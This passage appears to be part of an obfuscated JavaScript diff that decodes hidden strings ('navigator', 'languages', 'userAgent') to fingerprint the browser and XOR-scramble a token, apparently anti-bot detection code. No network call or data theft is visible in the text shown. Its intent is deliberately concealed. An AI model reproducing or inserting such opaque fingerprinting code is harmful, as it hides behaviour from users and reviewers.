149649; + _$Yv = 83631; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv / _$Ov; + _$dW = _$Pv; + _$Qv = _$dW; + _$uW = _$Qv + } + _$Qv = _$dW; + _$Wv = 58; + _$Yv = _$lW; + _$Ov = _$Wv - _$Yv; + _$Pv = 1; + _$Gv = _$Ov + _$Pv; + _$Zv = _$Qv * _$Gv; + _$Ev = _$lW; + _$_v = _$Zv + _$Ev; + _$SW = _$_v; + for (_$YD = 0; _$YD < (_$hW | _$SW); _$YD++) { + _$Qv = 21; + _$Wv = 59; + _$Yv = _$Qv + _$Wv; + _$mW = _$Yv; + _$Ov = 0; + _$TW = _$Ov; + _$Pv = _$OW; + _$jW = _$Pv; + _$Qv = _$OW; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$OW = _$Yv; + _$Qv = _$jW; + _$Wv = 13868; + _$Yv = 4567; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 25745; + _$Zv = 23552; + _$Ev = _$Gv + _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 350078; + _$qv = 116798; + _$Hv = _$Vv - _$qv; + _$xv = _$_v % _$Hv; + _$jW = _$xv; + _$Qv = _$jW; + _$Wv = 89966; + _$Yv = 143314; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv / _$Ov; + _$CW = _$Pv; + _$Qv = _$CW; + _$Wv = _$uW; + _$Yv = _$Qv === _$Wv; + if (_$Yv) { + _$Qv = _$OW; + _$KW = _$Qv; + _$Qv = _$OW; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$OW = _$Yv; + _$Qv = _$KW; + _$Wv = 4236; + _$Yv = 5065; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 16477; + _$Zv = 32820; + _$Ev = _$Gv + _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 92802; + _$qv = 140478; + _$Hv = _$Vv + _$qv; + _$xv = _$_v % _$Hv; + _$KW = _$xv; + _$Qv = _$KW; + _$Wv = 168303; + _$Yv = 64977; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv / _$Ov; + _$CW = _$Pv; + _$Qv = _$CW; + _$uW = _$Qv + } + _$Qv = _$CW; + _$Wv = 10; + _$Yv = 80; + _$Ov = _$Wv + _$Yv; + _$Pv = 37; + _$Gv = _$Ov + _$Pv; + _$Zv = _$mW; + _$Ev = _$Gv - _$Zv; + _$_v = 1; + _$Vv = _$Ev + _$_v; + _$qv = _$Qv * _$Vv; + _$Hv = _$mW; + _$xv = _$qv + _$Hv; + _$QW = _$xv; + _$Qv = _$sY; + _$Wv = _$LC; + _$Yv = _$TW; + _$Ov = _$QW; + _$Pv = _$Yv | _$Ov; + _$Qv[_$Wv](_$Pv) + } + _$Qv = _$KY; + _$WW = _$Qv; + _$Wv = _$Kh; + _$YW = _$Wv; + _$Yv = 1; + _$PW = _$Yv; + _$Qv = _$PW; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$PW = _$Yv; + _$Qv = 1; + _$YW = _$Qv; + _$Qv = _$BC; + _$NW = _$Qv; + _$Qv = _$PW; + _$YW = _$Qv; + _$Qv = 7274496; + _$Wv = 6422528; + _$Yv = 6946816; + _$Ov = 6619136; + _$Pv = 6488064; + _$Gv = 7602176; + _$Zv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv]; + _$PW = _$Zv; + for (_$ZW = 0; _$ZW < _$PW.length; _$ZW++) { + _$Qv = _$NW; + _$Wv = _$PW; + _$Yv = _$ZW; + _$Ov = _$Wv[_$Yv]; + _$Pv = 16; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$NW = _$Ev + } + _$Qv = _$PW; + _$Wv = _$LC; + _$Yv = _$YW; + _$Ov = _$Qv[_$Wv](_$Yv); + _$PW = _$Ov; + _$Qv = _$Dh; + _$EW = _$Qv; + _$Wv = 1; + _$RW = _$Wv; + _$Qv = _$RW; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$RW = _$Yv; + _$Qv = 1; + _$EW = _$Qv; + _$Qv = _$BC; + _$HW = _$Qv; + _$Qv = _$RW; + _$EW = _$Qv; + _$Qv = 6720; + _$Wv = 7360; + _$Yv = 4480; + _$Ov = 6720; + _$Pv = 7040; + _$Gv = 6720; + _$Zv = 7424; + _$Ev = 6464; + _$_v = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev]; + _$RW = _$_v; + for (_$xW = 0; _$xW < _$RW.length; _$xW++) { + _$Qv = _$HW; + _$Wv = _$RW; + _$Yv = _$xW; + _$Ov = _$Wv[_$Yv]; + _$Pv = 6; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$HW = _$Ev + } + _$Qv = _$RW; + _$Wv = _$LC; + _$Yv = _$EW; + _$Ov = _$Qv[_$Wv](_$Yv); + _$RW = _$Ov; + _$Qv = _$AW; + _$Wv = _$HW; + _$Yv = typeof _$Qv[_$Wv]; + _$Ov = _$NW; + _$Pv = _$Yv === _$Ov; + _$HQ = _$Pv; + _$Qv = _$eK; + if (_$Qv) { + _$Qv = _$Ch; + _$XW = _$Qv; + _$Wv = 1; + _$FW = _$Wv; + _$Qv = _$FW; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$FW = _$Yv; + _$Qv = 1; + _$XW = _$Qv; + _$Qv = _$BC; + _$JW = _$Qv; + _$Qv = _$FW; + _$XW = _$Qv; + _$Qv = 216; + _$Wv = 194; + _$Yv = 220; + _$Ov = 206; + _$Pv = 234; + _$Gv = 194; + _$Zv = 206; + _$Ev = 202; + _$_v = 230; + _$Vv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v]; + _$FW = _$Vv; + for (_$aY = 0; _$aY < _$FW.length; _$aY++) { + _$Qv = _$JW; + _$Wv = _$FW; + _$Yv = _$aY; + _$Ov = _$Wv[_$Yv]; + _$Pv = 1; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$JW = _$Ev + } + _$Qv = _$FW; + _$Wv = _$LC; + _$Yv = _$XW; + _$Ov = _$Qv[_$Wv](_$Yv); + _$FW = _$Ov; + _$Qv = _$jh; + _$eY = _$Qv; + _$Wv = 1; + _$cY = _$Wv; + _$Qv = _$cY; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$cY = _$Yv; + _$Qv = 1; + _$eY = _$Qv; + _$Qv = _$BC; + _$nY = _$Qv; + _$Qv = _$cY; + _$eY = _$Qv; + _$Qv = 112640; + _$Wv = 99328; + _$Yv = 120832; + _$Ov = 107520; + _$Pv = 105472; + _$Gv = 99328; + _$Zv = 118784; + _$Ev = 113664; + _$_v = 116736; + _$Vv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v]; + _$cY = _$Vv; + for (_$fY = 0; _$fY < _$cY.length; _$fY++) { + _$Qv = _$nY; + _$Wv = _$cY; + _$Yv = _$fY; + _$Ov = _$Wv[_$Yv]; + _$Pv = 10; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$nY = _$Ev + } + _$Qv = _$cY; + _$Wv = _$LC; + _$Yv = _$eY; + _$Ov = _$Qv[_$Wv](_$Yv); + _$cY = _$Ov; + _$Qv = _$WW; + _$Wv = _$nY; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$JW; + _$Pv = _$Yv[_$Ov]; + _$jK = _$Pv + } + _$Qv = _$jK; + if (_$Qv) { + _$Qv = _$Th; + _$tY = _$Qv; + _$Wv = 1; + _$kY = _$Wv; + _$Qv = _$kY; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$kY = _$Yv; + _$Qv = 1; + _$tY = _$Qv; + _$Qv = _$BC; + _$lY = _$Qv; + _$Qv = _$kY; + _$tY = _$Qv; + _$Qv = 7208960; + _$Wv = 6356992; + _$Yv = 7733248; + _$Ov = 6881280; + _$Pv = 6750208; + _$Gv = 6356992; + _$Zv = 7602176; + _$Ev = 7274496; + _$_v = 7471104; + _$Vv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v]; + _$kY = _$Vv; + for (_$gY = 0; _$gY < _$kY.length; _$gY++) { + _$Qv = _$lY; + _$Wv = _$kY; + _$Yv = _$gY; + _$Ov = _$Wv[_$Yv]; + _$Pv = 16; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$lY = _$Ev + } + _$Qv = _$kY; + _$Wv = _$LC; + _$Yv = _$tY; + _$Ov = _$Qv[_$Wv](_$Yv); + _$kY = _$Ov; + _$Qv = _$mh; + _$pY = _$Qv; + _$Wv = 1; + _$dY = _$Wv; + _$Qv = _$dY; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$dY = _$Yv; + _$Qv = 1; + _$pY = _$Qv; + _$Qv = _$BC; + _$AY = _$Qv; + _$Qv = _$dY; + _$pY = _$Qv; + _$Qv = 221184; + _$Wv = 198656; + _$Yv = 225280; + _$Ov = 210944; + _$Pv = 239616; + _$Gv = 198656; + _$Zv = 210944; + _$Ev = 206848; + _$_v = 235520; + _$Vv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v]; + _$dY = _$Vv; + for (_$SY = 0; _$SY < _$dY.length; _$SY++) { + _$Qv = _$AY; + _$Wv = _$dY; + _$Yv = _$SY; + _$Ov = _$Wv[_$Yv]; + _$Pv = 11; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$AY = _$Ev + } + _$Qv = _$dY; + _$Wv = _$LC; + _$Yv = _$pY; + _$Ov = _$Qv[_$Wv](_$Yv); + _$dY = _$Ov; + _$Qv = _$Sh; + _$TY = _$Qv; + _$Wv = 1; + _$CY = _$Wv; + _$Qv = _$CY; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$CY = _$Yv; + _$Qv = 1; + _$TY = _$Qv; + _$Qv = _$BC; + _$QY = _$Qv; + _$Qv = _$CY; + _$TY = _$Qv; + _$Qv = 6815744; + _$Wv = 6356992; + _$Yv = 7536640; + _$Ov = 5177344; + _$Pv = 7798784; + _$Gv = 7208960; + _$Zv = 5242880; + _$Ev = 7471104; + _$_v = 7274496; + _$Vv = 7340032; + _$qv = 6619136; + _$Hv = 7471104; + _$xv = 7602176; + _$Bv = 7929856; + _$Xv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv, _$Hv, _$xv, _$Bv]; + _$CY = _$Xv; + for (_$YY = 0; _$YY < _$CY.length; _$YY++) { + _$Qv = _$QY; + _$Wv = _$CY; + _$Yv = _$YY; + _$Ov = _$Wv[_$Yv]; + _$Pv = 16; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$QY = _$Ev + } + _$Qv = _$CY; + _$Wv = _$LC; + _$Yv = _$TY; + _$Ov = _$Qv[_$Wv](_$Yv); + _$CY = _$Ov; + _$Qv = _$WW; + _$Wv = _$lY; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$QY; + _$Pv = _$AY; + _$Gv = _$Yv[_$Ov](_$Pv); + _$Zv = !_$Gv; + _$jK = _$Zv + } + _$Qv = _$eK; + if (_$Qv) { + _$Qv = _$Ah; + _$GY = _$Qv; + _$Wv = 1; + _$NY = _$Wv; + _$Qv = _$NY; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$NY = _$Yv; + _$Qv = 1; + _$GY = _$Qv; + _$Qv = _$BC; + _$ZY = _$Qv; + _$Qv = _$NY; + _$GY = _$Qv; + _$Qv = 1802240; + _$Wv = 1589248; + _$Yv = 1933312; + _$Ov = 1720320; + _$Pv = 1687552; + _$Gv = 1589248; + _$Zv = 1900544; + _$Ev = 1818624; + _$_v = 1867776; + _$Vv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v]; + _$NY = _$Vv; + for (_$RY = 0; _$RY < _$NY.length; _$RY++) { + _$Qv = _$ZY; + _$Wv = _$NY; + _$Yv = _$RY; + _$Ov = _$Wv[_$Yv]; + _$Pv = 14; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$ZY = _$Ev + } + _$Qv = _$NY; + _$Wv = _$LC; + _$Yv = _$GY; + _$Ov = _$Qv[_$Wv](_$Yv); + _$NY = _$Ov; + _$Qv = _$Ih; + _$VY = _$Qv; + _$Wv = 1; + _$qY = _$Wv; + _$Qv = _$qY; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$qY = _$Yv; + _$Qv = 1; + _$VY = _$Qv; + _$Qv = _$BC; + _$HY = _$Qv; + _$Qv = _$qY; + _$VY = _$Qv; + _$Qv = 7488; + _$Wv = 7360; + _$Yv = 6464; + _$Ov = 7296; + _$Pv = 4160; + _$Gv = 6592; + _$Zv = 6464; + _$Ev = 7040; + _$_v = 7424; + _$Vv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v]; + _$qY = _$Vv; + for (_$xY = 0; _$xY < _$qY.length; _$xY++) { + _$Qv = _$HY; + _$Wv = _$qY; + _$Yv = _$xY; + _$Ov = _$Wv[_$Yv]; + _$Pv = 6; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$HY = _$Ev + } + _$Qv = _$qY; + _$Wv = _$LC; + _$Yv = _$VY; + _$Ov = _$Qv[_$Wv](_$Yv); + _$qY = _$Ov; + _$Qv = _$WW; + _$Wv = _$ZY; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$HY; + _$Pv = _$Yv[_$Ov]; + _$BY = _$Pv; + _$Gv = _$Mh; + _$XY = _$Gv; + _$Zv = 1; + _$FY = _$Zv; + _$Qv = _$FY; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$FY = _$Yv; + _$Qv = 1; + _$XY = _$Qv; + _$Qv = _$BC; + _$JY = _$Qv; + _$Qv = _$FY; + _$XY = _$Qv; + _$Qv = 475136; + _$Wv = 454656; + _$Yv = 311296; + _$Ov = 454656; + _$Pv = 487424; + _$Gv = 413696; + _$Zv = 466944; + _$Ev = 274432; + _$_v = 397312; + _$Vv = 471040; + _$qv = 413696; + _$Hv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv]; + _$FY = _$Hv; + for (_$$Y = 0; _$$Y < _$FY.length; _$$Y++) { + _$Qv = _$JY; + _$Wv = _$FY; + _$Yv = _$$Y; + _$Ov = _$Wv[_$Yv]; + _$Pv = 12; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$JY = _$Ev + } + _$Qv = _$FY; + _$Wv = _$LC; + _$Yv = _$XY; + _$Ov = _$Qv[_$Wv](_$Yv); + _$FY = _$Ov; + _$Qv = _$oe + _$te + _$ne + _$fe + _$ie; + _$iU = _$Qv; + _$Qv = _$iU; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$aU = _$Yv; + _$Qv = []; + _$kU = _$Qv; + for (_$bU = 0; _$bU < _$aU; _$bU++) { + _$Qv = _$iU; + _$Wv = _$OC; + _$Yv = _$bU; + _$Ov = _$Qv[_$Wv](_$Yv); + _$rU = _$Ov; + _$Qv = _$rU; + _$Wv = 65536; + _$Yv = _$Qv >= _$Wv; + _$Ov = _$Yv; + if (_$Ov) { + _$ks = _$rU; + _$Ns = 1114111; + _$Ov = _$ks <= _$Ns + } + if (_$Ov) { + _$Qv = _$kU; + _$Wv = _$LC; + _$Yv = _$rU; + _$Ov = 18; + _$Pv = _$Yv >> _$Ov; + _$Gv = 7; + _$Zv = _$Pv & _$Gv; + _$Ev = 240; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$kU; + _$Wv = _$LC; + _$Yv = _$rU; + _$Ov = 12; + _$Pv = _$Yv >> _$Ov; + _$Gv = 63; + _$Zv = _$Pv & _$Gv; + _$Ev = 128; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$kU; + _$Wv = _$LC; + _$Yv = _$rU; + _$Ov = 6; + _$Pv = _$Yv >> _$Ov; + _$Gv = 63; + _$Zv = _$Pv & _$Gv; + _$Ev = 128; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$kU; + _$Wv = _$LC; + _$Yv = _$rU; + _$Ov = 63; + _$Pv = _$Yv & _$Ov; + _$Gv = 128; + _$Zv = _$Pv | _$Gv; + _$Qv[_$Wv](_$Zv) + } else { + _$Qv = _$rU; + _$Wv = 2048; + _$Yv = _$Qv >= _$Wv; + _$Ov = _$Yv; + if (_$Ov) { + _$ks = _$rU; + _$Ns = 65535; + _$Ov = _$ks <= _$Ns + } + if (_$Ov) { + _$Qv = _$kU; + _$Wv = _$LC; + _$Yv = _$rU; + _$Ov = 12; + _$Pv = _$Yv >> _$Ov; + _$Gv = 15; + _$Zv = _$Pv & _$Gv; + _$Ev = 224; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$kU; + _$Wv = _$LC; + _$Yv = _$rU; + _$Ov = 6; + _$Pv = _$Yv >> _$Ov; + _$Gv = 63; + _$Zv = _$Pv & _$Gv; + _$Ev = 128; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$kU; + _$Wv = _$LC; + _$Yv = _$rU; + _$Ov = 63; + _$Pv = _$Yv & _$Ov; + _$Gv = 128; + _$Zv = _$Pv | _$Gv; + _$Qv[_$Wv](_$Zv) + } else { + _$Qv = _$rU; + _$Wv = 128; + _$Yv = _$Qv >= _$Wv; + _$Ov = _$Yv; + if (_$Ov) { + _$ks = _$rU; + _$Ns = 2047; + _$Ov = _$ks <= _$Ns + } + if (_$Ov) { + _$Qv = _$kU; + _$Wv = _$LC; + _$Yv = _$rU; + _$Ov = 6; + _$Pv = _$Yv >> _$Ov; + _$Gv = 31; + _$Zv = _$Pv & _$Gv; + _$Ev = 192; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$kU; + _$Wv = _$LC; + _$Yv = _$rU; + _$Ov = 63; + _$Pv = _$Yv & _$Ov; + _$Gv = 128; + _$Zv = _$Pv | _$Gv; + _$Qv[_$Wv](_$Zv) + } else { + _$Qv = _$kU; + _$Wv = _$LC; + _$Yv = _$rU; + _$Ov = 255; + _$Pv = _$Yv & _$Ov; + _$Qv[_$Wv](_$Pv) + } + } + } + } + _$Qv = _$kU; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$cU = _$Yv; + _$Qv = _$cU; + _$Wv = 2; + _$Yv = _$Qv / _$Wv; + _$cU = _$Yv; + _$Qv = []; + _$lU = _$Qv; + _$Qv = 0; + _$vU = _$Qv; + for (_$hU = 0; _$hU < _$cU; _$hU++) { + _$Qv = _$kU; + _$Wv = _$vU; + _$Yv = _$Qv[_$Wv]; + _$fU = _$Yv; + _$Qv = _$kU; + _$Wv = _$vU; + _$Yv = 1; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv[_$Ov]; + _$tU = _$Pv; + _$Qv = _$vU; + _$Wv = 2; + _$Yv = _$Qv + _$Wv; + _$vU = _$Yv; + _$Qv = _$fU; + _$Wv = 46; + _$Yv = _$Qv - _$Wv; + _$fU = _$Yv; + _$Qv = _$tU; + _$Wv = 46; + _$Yv = _$Qv - _$Wv; + _$tU = _$Yv; + _$Qv = _$tU; + _$Wv = 19; + _$Yv = _$Qv * _$Wv; + _$Ov = _$fU; + _$Pv = _$Yv + _$Ov; + _$nU = _$Pv; + _$Qv = _$nU; + _$Wv = 11; + _$Yv = _$Qv ^ _$Wv; + _$sU = _$Yv; + _$Qv = _$lU; + _$Wv = _$hU; + _$Yv = _$sU; + _$Qv[_$Wv] = _$Yv + } + _$Qv = _$BC; + _$uU = _$Qv; + for (_$SU = 0; _$SU < _$lU.length; _$SU++) { + _$Qv = _$lU; + _$Wv = _$SU; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$gr + _$ur; + _$Pv = 2; + _$Gv = _$Yv[_$Ov](_$Pv); + _$wU = _$Gv; + _$Qv = _$wU; + _$Wv = _$LS; + _$Yv = /^1+?(?=0)/; + _$Ov = _$Qv[_$Wv](_$Yv); + _$dU = _$Ov; + _$Qv = _$dU; + _$Wv = _$Qv; + if (_$Wv) { + _$ks = _$wU; + _$Ns = _$PC; + _$Hs = _$ks[_$Ns]; + _$xs = 8; + _$Wv = _$Hs === _$xs + } + if (_$Wv) { + _$Qv = _$dU; + _$Wv = 0; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$PC; + _$Pv = _$Yv[_$Ov]; + _$MU = _$Pv; + _$Qv = _$lU; + _$Wv = _$SU; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$gr + _$ur; + _$Pv = 2; + _$Gv = _$Yv[_$Ov](_$Pv); + _$Zv = _$_S; + _$Ev = 7; + _$_v = _$MU; + _$Vv = _$Ev - _$_v; + _$qv = _$Gv[_$Zv](_$Vv); + _$IU = _$qv; + for (_$mU = 0; _$mU < _$MU; _$mU++) { + _$Qv = _$lU; + _$Wv = _$mU; + _$Yv = _$SU; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv[_$Ov]; + _$Gv = _$dc + _$Mc; + _$Zv = 2; + _$Ev = _$Pv[_$Gv](_$Zv); + _$_v = _$_S; + _$Vv = 2; + _$qv = _$Ev[_$_v](_$Vv); + _$IU += _$qv + } + _$Qv = _$IU; + _$Wv = 2; + _$Yv = parseInt(_$Qv, _$Wv); + _$Ov = _$bW(_$Yv); + _$uU += _$Ov; + _$Qv = _$MU; + _$Wv = 1; + _$Yv = _$Qv - _$Wv; + _$SU += _$Yv + } else { + _$Qv = _$lU; + _$Wv = _$SU; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$bW(_$Yv); + _$uU += _$Ov + } + } + _$Qv = _$BY; + _$Wv = _$Qv; + if (_$Wv) { + _$ks = _$BY; + _$Ns = _$JY; + _$Wv = _$ks[_$Ns] + } + if (_$Wv) { + _$Yv = (_$Hs = _$BY, + _$xs = _$uU, + _$Hs[_$xs]()) + } else { + _$Yv = _$BC + } + _$BY = _$Yv; + _$Qv = _$dh; + _$TU = _$Qv; + _$Wv = 1; + _$jU = _$Wv; + _$Qv = _$jU; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$jU = _$Yv; + _$Qv = 1; + _$TU = _$Qv; + _$Qv = _$BC; + _$CU = _$Qv; + _$Qv = _$jU; + _$TU = _$Qv; + _$Qv = 1680; + _$Wv = 1760; + _$Yv = 1600; + _$Ov = 1616; + _$Pv = 1920; + _$Gv = 1264; + _$Zv = 1632; + _$Ev = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv]; + _$jU = _$Ev; + for (_$DU = 0; _$DU < _$jU.length; _$DU++) { + _$Qv = _$CU; + _$Wv = _$jU; + _$Yv = _$DU; + _$Ov = _$Wv[_$Yv]; + _$Pv = 4; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$CU = _$Ev + } + _$Qv = _$jU; + _$Wv = _$LC; + _$Yv = _$TU; + _$Ov = _$Qv[_$Wv](_$Yv); + _$jU = _$Ov; + _$Qv = _$wh; + _$KU = _$Qv; + _$Wv = 1; + _$QU = _$Wv; + _$Qv = _$QU; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$QU = _$Yv; + _$Qv = 1; + _$KU = _$Qv; + _$Qv = _$BC; + _$WU = _$Qv; + _$Qv = _$QU; + _$KU = _$Qv; + _$Qv = 3440640; + _$Wv = 3604480; + _$Yv = 3276800; + _$Ov = 3309568; + _$Pv = 3932160; + _$Gv = 2588672; + _$Zv = 3342336; + _$Ev = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv]; + _$QU = _$Ev; + for (_$YU = 0; _$YU < _$QU.length; _$YU++) { + _$Qv = _$WU; + _$Wv = _$QU; + _$Yv = _$YU; + _$Ov = _$Wv[_$Yv]; + _$Pv = 15; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$WU = _$Ev + } + _$Qv = _$QU; + _$Wv = _$LC; + _$Yv = _$KU; + _$Ov = _$Qv[_$Wv](_$Yv); + _$QU = _$Ov; + _$Qv = _$yh; + _$UU = _$Qv; + _$Wv = 1; + _$OU = _$Wv; + _$Qv = _$OU; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$OU = _$Yv; + _$Qv = 1; + _$UU = _$Qv; + _$Qv = _$BC; + _$PU = _$Qv; + _$Qv = _$OU; + _$UU = _$Qv; + _$Qv = 111616; + _$Wv = 117760; + _$Yv = 107520; + _$Ov = 103424; + _$Pv = [_$Qv, _$Wv, _$Yv, _$Ov]; + _$OU = _$Pv; + for (_$GU = 0; _$GU < _$OU.length; _$GU++) { + _$Qv = _$PU; + _$Wv = _$OU; + _$Yv = _$GU; + _$Ov = _$Wv[_$Yv]; + _$Pv = 10; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$PU = _$Ev + } + _$Qv = _$OU; + _$Wv = _$LC; + _$Yv = _$UU; + _$Ov = _$Qv[_$Wv](_$Yv); + _$OU = _$Ov; + _$Qv = _$ph; + _$NU = _$Qv; + _$Wv = 1; + _$ZU = _$Wv; + _$Qv = _$ZU; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$ZU = _$Yv; + _$Qv = 1; + _$NU = _$Qv; + _$Qv = _$BC; + _$zU = _$Qv; + _$Qv = _$ZU; + _$NU = _$Qv; + _$Qv = 3801088; + _$Wv = 3735552; + _$Yv = 3440640; + _$Ov = 3276800; + _$Pv = 3309568; + _$Gv = 3604480; + _$Zv = 3801088; + _$Ev = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv]; + _$ZU = _$Ev; + for (_$EU = 0; _$EU < _$ZU.length; _$EU++) { + _$Qv = _$zU; + _$Wv = _$ZU; + _$Yv = _$EU; + _$Ov = _$Wv[_$Yv]; + _$Pv = 15; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$zU = _$Ev + } + _$Qv = _$ZU; + _$Wv = _$LC; + _$Yv = _$NU; + _$Ov = _$Qv[_$Wv](_$Yv); + _$ZU = _$Ov; + _$Qv = _$BY; + _$Wv = _$CU; + _$Yv = _$zU; + _$Ov = _$Qv[_$Wv](_$Yv); + _$Pv = 1; + _$Gv = -_$Pv; + _$Zv = _$Ov != _$Gv; + _$Ev = _$Zv; + if (!_$Ev) { + _$ks = _$BY; + _$Ns = _$WU; + _$Hs = _$PU; + _$xs = _$ks[_$Ns](_$Hs); + _$wf = 1; + _$df = -_$wf; + _$Ev = _$xs != _$df + } + if (_$Ev) { + _$Qv = 1; + _$jK = _$Qv + } + } + _$Qv = _$jK; + if (_$Qv) { + for (_$YD = 1; _$YD < 10 * 2; _$YD += 2) { + _$Qv = _$sY; + _$Wv = _$YD; + _$Yv = _$sY; + _$Ov = _$YD; + _$Pv = _$Yv[_$Ov]; + _$Gv = 53; + _$Zv = _$Pv - _$Gv; + _$Ev = parseInt(_$Zv); + _$_v = _$MY; + _$Vv = _$wY; + _$qv = _$_v[_$Vv]; + _$Hv = _$Ev ^ _$qv; + _$Qv[_$Wv] = _$Hv + } + } + _$Qv = _$jK; + _$Wv = !_$Qv; + if (_$Wv) { + for (_$YD = 0; _$YD < _$sY.length; _$YD++) { + _$Qv = _$sY; + _$Wv = _$YD; + _$Yv = _$sY; + _$Ov = _$YD; + _$Pv = _$Yv[_$Ov]; + _$Gv = _$MY; + _$Zv = _$wY; + _$Ev = _$Gv[_$Zv]; + _$_v = _$Pv ^ _$Ev; + _$Qv[_$Wv] = _$_v + } + } + _$wY++; + _$Qv = []; + _$OY = _$Qv; + _$Qv = []; + _$zW = _$Qv; + _$Qv = 4; + _$Wv = 1; + _$Yv = _$Qv < _$Wv; + _$RU = _$Yv; + _$Ov = _$$W; + _$_U = _$Ov; + _$Pv = _$uh; + _$LU = _$Pv; + _$Gv = 1; + _$VU = _$Gv; + _$Qv = _$VU; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$VU = _$Yv; + _$Qv = 1; + _$LU = _$Qv; + _$Qv = _$BC; + _$qU = _$Qv; + _$Qv = _$VU; + _$LU = _$Qv; + _$Qv = 294912; + _$Wv = 344064; + _$Yv = 315392; + _$Ov = 311296; + _$Pv = 286720; + _$Gv = 466944; + _$Zv = 397312; + _$Ev = 446464; + _$_v = 413696; + _$Vv = 339968; + _$qv = 413696; + _$Hv = 475136; + _$xv = 282624; + _$Bv = 442368; + _$Xv = 413696; + _$Fv = 446464; + _$$v = 413696; + _$es = 450560; + _$ts = 475136; + _$ds = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv, 